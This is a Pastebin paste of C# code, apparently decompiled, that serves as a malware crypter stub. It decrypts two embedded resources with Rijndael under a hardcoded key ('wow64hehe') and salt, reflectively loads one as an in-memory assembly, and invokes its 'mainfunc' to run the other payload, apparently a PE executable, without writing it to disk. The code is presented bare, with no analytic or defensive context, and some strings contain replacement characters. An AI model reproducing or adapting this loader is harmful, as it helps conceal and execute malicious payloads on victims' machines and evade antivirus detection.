Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- public static void Main()
- {
- ResourceManager resourceManager = new ResourceManager("res\uFFFD", Assembly.GetExecutingAssembly());
- string s1 = (string)resourceManager.GetObject("file\uFFFD");
- string s2 = (string)resourceManager.GetObject("PEexer\uFFFD");
- byte[] bArr1 = RoshanTest.RijndaelDecrypt(Encoding.Default.GetBytes(s1), "wow64hehe\uFFFD");
- byte[] bArr2 = Encoding.Default.GetBytes(s2);
- byte[] bArr3 = RoshanTest.RijndaelDecrypt(bArr2, "wow64hehe\uFFFD");
- RoshanTest.MemReflect(bArr3, bArr1);
- }
- public static void MemReflect(byte[] rpe, byte[] exetorun)
- {
- bool flag = false;
- Assembly assembly = Assembly.Load(rpe);
- string s = "ClassLibrary1.\uFFFD";
- Type type = assembly.GetType(s + "SharpDLL\uFFFD");
- MethodInfo methodInfo = type.GetMethod("mainfunc\uFFFD");
- object[] objArr = new object[] {
- flag,
- Assembly.GetExecutingAssembly().Location,
- exetorun };
- methodInfo.Invoke(null, objArr);
- }
- public static byte[] RijndaelDecrypt(byte[] bytes, string Key)
- {
- Rijndael rijndael = Rijndael.Create();
- Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(Key, new byte[] { 38, 220, 255, 0, 173, 237, 122, 238, 197, 254, 7, 175, 77, 8, 34, 60 });
- rijndael.Key = rfc2898DeriveBytes.GetBytes(32);
- rijndael.IV = rfc2898DeriveBytes.GetBytes(16);
- MemoryStream memoryStream = new MemoryStream();
- CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndael.CreateDecryptor(), CryptoStreamMode.Write);
- cryptoStream.Write(bytes, 0, bytes.Length);
- cryptoStream.Close();
- return memoryStream.ToArray();
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement